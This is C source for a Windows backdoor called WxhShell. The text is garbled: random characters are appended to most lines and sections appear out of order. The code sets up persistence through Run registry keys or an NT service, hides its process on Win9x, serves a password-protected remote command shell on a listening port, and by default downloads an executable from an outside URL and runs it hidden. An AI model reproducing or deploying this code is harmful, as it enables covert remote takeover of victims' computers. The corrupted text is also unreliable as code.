DWORD AffinityMask; s$#64"F
DWORD BasePriority; &[d'g0pF
ULONG UniqueProcessId; l+Wux$6U
ULONG InheritedFromUniqueProcessId; B
/;(#{U;
} PROCESS_BASIC_INFORMATION; {vD$od i
*ra)u-
PROCNTQSIP NtQueryInformationProcess; ?\\wLZ
MD[hqshoh
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S|=)^$:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !~E/Rp
)?72 +X
HANDLE hProcess; oCCtjr
PROCESS_BASIC_INFORMATION pbi;
:a*>PMTn
;2kQ)Bq"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]O|>nTa
if(NULL == hInst ) return 0; I{$suPk
L\4rvZa
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ["nWIs[h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U4d7-&U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |)7K(R)(=
'fn}I0Vc
if (!NtQueryInformationProcess) return 0; 'ON/WKJr|W
s4Ja y!A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X0j\nXk
if(!hProcess) return 0; T.#_v#oM
%/2
` u
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o*$KiD
bm;iX*~
CloseHandle(hProcess); qBk[Afjgz
Uv59 XF$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z
4}"oQk:r
if(hProcess==NULL) return 0; Y's=31G@
w(HVC
HMODULE hMod; i<S\x
char procName[255]; %>K(IRpMW
unsigned long cbNeeded; iB0r+IbR
0faf4LzU!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (B\Kb4m
-F`gRAr-
CloseHandle(hProcess); .;?ha'
Q8HNST($?
if(strstr(procName,"services")) return 1; // 以服务启动 ]9@4P$I
J|xXo
return 0; // 注册表启动 _Nh])p-
} d)48m}[:
Fz8& Jn!
// 主模块 a/E(GQ,,
int StartWxhshell(LPSTR lpCmdLine) z .lb(xQ
{ Le~D"d8
SOCKET wsl; ]UOzz1
BOOL val=TRUE; !o'a]8
int port=0; >o"s1*
{
struct sockaddr_in door; s,-<P1}/
~ DLxIe
if(wscfg.ws_autoins) Install(); \R&ZWJKh
mC]Krnx
port=atoi(lpCmdLine); F\+9u$=
937<:zo:
if(port<=0) port=wscfg.ws_port; QdZHIgh`i
AJ
0Bb7
WSADATA data; Xj?LU7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d}E6d||A
;d7Qw~v1s
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; L%7WHtU*#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'o]}vyz;
door.sin_family = AF_INET; ]I~BgE;C9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M9V,;*
door.sin_port = htons(port); 3rh t5n2-
,vi6<C\
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (4l M3clF
closesocket(wsl); 9Lt3^MKa"
return 1; YbVZK4
} mznE Cy
q+YK NXI
if(listen(wsl,2) == INVALID_SOCKET) { >taT
V_,
closesocket(wsl); R{4[.
return 1; wj$3L3
} g[2[
zIB=
Wxhshell(wsl); "=f,4Zbj
WSACleanup(); gO~>*q &
ohXbA9&(x
return 0; :)_P7k`>e/
Ft2ZZ<As
} yOjTiVQ9
.R+n}>+K
// 以NT服务方式启动 USf;}F:-C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KG5B6Om5'
{ ng2yZ @$
DWORD status = 0; 78z/D|{"
DWORD specificError = 0xfffffff; D//Ts`}+n
My9fbT
serviceStatus.dwServiceType = SERVICE_WIN32; p'SY 2xq-,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5tbi};
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A-hWg;
serviceStatus.dwWin32ExitCode = 0; Th])jQ*
serviceStatus.dwServiceSpecificExitCode = 0; Y%rC\Ij/i
serviceStatus.dwCheckPoint = 0; =>C3IR/
serviceStatus.dwWaitHint = 0; [Az^i>iH
nRZ T~S4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b |Ed@C
if (hServiceStatusHandle==0) return; p t{/|P
>>7m'-k%D
status = GetLastError(); $_Lcw"xO
if (status!=NO_ERROR) \4q1<j
{ e3&.RrA
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZONe}tv:
serviceStatus.dwCheckPoint = 0; VN4H+9E
serviceStatus.dwWaitHint = 0; &
V/t0
serviceStatus.dwWin32ExitCode = status; 8-vNXvl
serviceStatus.dwServiceSpecificExitCode = specificError; 0.Nik^~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Se5jxV
return; LTY(6we-
} S1$&
V,9UOC,Gn
serviceStatus.dwCurrentState = SERVICE_RUNNING; DOo34l6#
serviceStatus.dwCheckPoint = 0; Yv;18j*<
serviceStatus.dwWaitHint = 0; k3"Y!Uha:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _{gRCR)
} [=xO>
Y1FP |
// 处理NT服务事件,比如:启动、停止 {,m W7
VOID WINAPI NTServiceHandler(DWORD fdwControl) l3/?,xn
{ 9s6d+HhM
switch(fdwControl) c/}bx52>u
{ a_(vpD^
case SERVICE_CONTROL_STOP: ;l b@o,R :
serviceStatus.dwWin32ExitCode = 0; cbA90 8@s
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8-R; &
serviceStatus.dwCheckPoint = 0; D(S^g+rd
serviceStatus.dwWaitHint = 0; *$7c||J7
{ B8G1
#V_jK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mm<rdo(`
} ?To r)>A'
return; ~4tu*\P
case SERVICE_CONTROL_PAUSE: j.rJfbE|X
serviceStatus.dwCurrentState = SERVICE_PAUSED; RIl+QA
break; A0Hs d
case SERVICE_CONTROL_CONTINUE: C}GOwvAL>
serviceStatus.dwCurrentState = SERVICE_RUNNING; )![?JXf
break; ('p~h-9Vi
case SERVICE_CONTROL_INTERROGATE: ,NaNih1
break; wg,w;Gle
}; *e05{C:kS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Go_~8w0<
} )Wm:Ilq
DbkKmv&
// 标准应用程序主函数 %,*{hhfu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /e}NZo{)g
{ p[%FH?
_gF )aE
// 获取操作系统版本 Dx27 s
OsIsNt=GetOsVer(); f?A*g$v
GetModuleFileName(NULL,ExeFile,MAX_PATH); i/UHDqZ
Ik4U+'z6
// 从命令行安装 &<sDbNS
if(strpbrk(lpCmdLine,"iI")) Install(); j!P]xl0vOZ
H6XlSj
// 下载执行文件 )W/mt[;
if(wscfg.ws_downexe) { t|aBe7t7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #4*~ 4/
WinExec(wscfg.ws_filenam,SW_HIDE); vN%SN>=L<
} (-(sBQ a+
#Hr>KQ5mJQ
if(!OsIsNt) { r6`v-TY(/
// 如果时win9x,隐藏进程并且设置为注册表启动 poYO
HideProc(); <OEu 4,~:
StartWxhshell(lpCmdLine); ?8Hr
9
} .qCD(XZ+
else Ytnk^/Z1L
if(StartFromService()) 1yN/+Rq
// 以服务方式启动 hIPU%
StartServiceCtrlDispatcher(DispatchTable); .5zqpm
else E(oI0*S.5
// 普通方式启动 7x^P 74
StartWxhshell(lpCmdLine); 58Fan*fO
&pD6Qq{
return 0; F\Gi;6a
} :)\<
$>;U^- #3
tQ:)j^\
Ln})\
UDK)
=========================================== xCMcS~
3/
@4D$Xl
!(soMv
["\Y-6"l
x\Bl^1&
q(J3fjY)
" nDSmr
C0X_t
#include <stdio.h> 8rXu^
#include <string.h> H1>}E5^?
#include <windows.h> io$!z=W
#include <winsock2.h> r-+ .Ax4L"
#include <winsvc.h> z17x%jXy
#include <urlmon.h> :U>o;
Dxu2rz!li-
#pragma comment (lib, "Ws2_32.lib") uf (`I
#pragma comment (lib, "urlmon.lib") 9BPucXK
@""aNKA^r>
#define MAX_USER 100 // 最大客户端连接数 ;k<g#She
#define BUF_SOCK 200 // sock buffer "3A.x1uQ
#define KEY_BUFF 255 // 输入 buffer DDT)l+: XP
$e7dE$eH
#define REBOOT 0 // 重启 !PI& y
#define SHUTDOWN 1 // 关机 V&E)4KBOs
EC2KK)=n}
#define DEF_PORT 5000 // 监听端口 l Ud/^u`
Ms. 1RCup
#define REG_LEN 16 // 注册表键长度 `)FSJV1
#define SVC_LEN 80 // NT服务名长度 "]81+
D
vJT
%ET
// 从dll定义API t3.;W/0_
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aCe<*;b@
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O<Rm9tZ8
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W|o LS
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mVN^X/L(y
i:wTPR
// wxhshell配置信息 NZSP*# !B
struct WSCFG { t8,s]I&
int ws_port; // 监听端口 ~*9
vn Z@
char ws_passstr[REG_LEN]; // 口令 v_PhJKE
int ws_autoins; // 安装标记, 1=yes 0=no 8o-*s+EY"&
char ws_regname[REG_LEN]; // 注册表键名 {1.t ZCMT
char ws_svcname[REG_LEN]; // 服务名 z!quA7s<]
char ws_svcdisp[SVC_LEN]; // 服务显示名 :[oFe/1K!4
char ws_svcdesc[SVC_LEN]; // 服务描述信息 s88lN=;
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UW*[)y w]
int ws_downexe; // 下载执行标记, 1=yes 0=no /ov&h;
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FV>LD% uu
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )pV5l|`
<)L'h
}; (-tF=wR,W
<GI{`@5C
// default Wxhshell configuration {%ZD^YSA
struct WSCFG wscfg={DEF_PORT, }UK<tUO
"xuhuanlingzhe", &y/
1, lV/-jkR
"Wxhshell", 6C>"H
"Wxhshell", 1H{M0e
"WxhShell Service", 6H,n?[zTt
"Wrsky Windows CmdShell Service", L,L>cmpM
"Please Input Your Password: ", J fFOU!F\
1, 7KOM,FWKe
"http://www.wrsky.com/wxhshell.exe", p9ligs7V'
"Wxhshell.exe" ?'_E$
}; =^m,|j|d>4
&o>ctf.x
// 消息定义模块 *Y'@|xf*
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JyY-@GF
char *msg_ws_prompt="\n\r? for help\n\r#>"; \*Roa&<!
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LwQq0<v
char *msg_ws_ext="\n\rExit."; |[/[*hDZ9
char *msg_ws_end="\n\rQuit."; 2`qO'V3Q
char *msg_ws_boot="\n\rReboot..."; z;GR(;w/
char *msg_ws_poff="\n\rShutdown..."; X(nbfh?n
char *msg_ws_down="\n\rSave to "; =l?F_
$gU6=vN1#
char *msg_ws_err="\n\rErr!"; u/3[6MIp
char *msg_ws_ok="\n\rOK!"; iO)FZ%?"
4vi P lO
char ExeFile[MAX_PATH]; dGU io?
int nUser = 0; AvF:$kG
HANDLE handles[MAX_USER]; M}|<#
i7u
int OsIsNt; L P?E
.'QE o
SERVICE_STATUS serviceStatus; !PX`sIkT
SERVICE_STATUS_HANDLE hServiceStatusHandle; bM[!E 8dF
Ergh]"AD6-
// 函数声明 Y;ytm
#=
int Install(void); BFP (2j
int Uninstall(void); f$vWi&(
int DownloadFile(char *sURL, SOCKET wsh); 9~ 8 A>
int Boot(int flag); f>\guuG
void HideProc(void); :=q blc
int GetOsVer(void); R#OVJ(#
int Wxhshell(SOCKET wsl); ?-mDvW
void TalkWithClient(void *cs); Enu/Nj 2
int CmdShell(SOCKET sock); #p@8m_g
int StartFromService(void); $\BRX\6(-
int StartWxhshell(LPSTR lpCmdLine); kk_$j_0
W<<{}'Db/#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *"4d6
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dLb9p"EE#
\mRRx#-r%
// 数据结构和表定义 n]$50_@
SERVICE_TABLE_ENTRY DispatchTable[] = 3T)GUzt`
{ o RT<h
{wscfg.ws_svcname, NTServiceMain}, ck-ab0n
{NULL, NULL} @Sb 86Ee
};
*k)v#;B
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// 自我安装 %Q9
iR5?
int Install(void) |_q:0qo
{ : tKa1vL
char svExeFile[MAX_PATH]; h/u>F$}c
HKEY key; NjT#p8d X
strcpy(svExeFile,ExeFile); ts
BPQ 8Ne
"RPX_
// 如果是win9x系统,修改注册表设为自启动 VJ1(|v{D4[
if(!OsIsNt) { r[>4b}4s
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Z+4FwF
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {k.Dy92
RegCloseKey(key); L'XX++2
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nO{@p_3mi
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rv R,V
RegCloseKey(key); Sn 3@+9J
return 0; b'\a
4
} /">A3bq
} -:92<G\D
} ;4DqtR"7Y
else { 6- H81y3
V\k?$}
// 如果是NT以上系统,安装为系统服务 L`E^BuP/
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d5?"GFy
if (schSCManager!=0) ]^9B%t
s9
{ fNz*E|]8&
SC_HANDLE schService = CreateService o(iv=(o
( fJ"#c<n
schSCManager, -oGJPl {r
wscfg.ws_svcname, 2w>lnJ-
wscfg.ws_svcdisp, *Jd,8B/hC
SERVICE_ALL_ACCESS, <